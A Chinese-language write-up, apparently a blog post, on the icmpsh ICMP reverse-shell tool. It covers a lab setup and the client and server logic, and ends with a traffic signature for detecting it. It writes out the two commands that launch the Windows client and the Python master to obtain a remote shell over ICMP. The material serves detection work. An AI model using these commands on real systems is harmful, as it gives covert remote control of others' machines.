工具介绍
项目地址:
https://github.com/bdamele/icmpsh
说明
分为客户端和服务端,其中客户端只支持在Windows中使用,服务端支持跨平台。
特点
- C/S架构
- 客户端使用非管理员权限
流量&逻辑分析
环境&测试准备
环境配置
控制端 Ubantu192.168.2.129
受控端 Win7 192.168.2.132
提前准备
正式使用前有一些注意事项需要提前准备一下,具体可参考链接
测试方式
- Windows运行命令
icmpsh.exe -t 192.168.2.129
- Ubantu运行命令
python2 icmpsh_m.py 192.168.2.129 192.168.2.132
成功获取shell(关于乱码问题,在windows使用chcp 65001修改一下在使用icmpsh即可)
检测特征
Client逻辑分析
icmpsh的整体组成部分很简单,分为icmpsh-m.c和icmpsh-s.c
先看一下icmpsh-s.c的相关逻辑:
整体逻辑很简单,大致可以理解为调用ReadFile执行命令,结果发送给服务端,然后监听到新的命令之后,执行继续发送,没啥其他特殊的。
主要的特征是在transfer_icmp的调用过程中,无论服务端是否开启,都会发送类似
Microsoft Windows [版本 10.0.19045.3570]
的开头,中英文存在差异,但是前边的Microsoft Windows [是相同的。
Server逻辑分析
Server端逻辑也很简单,也主要是监听、发送功能,没啥特殊的。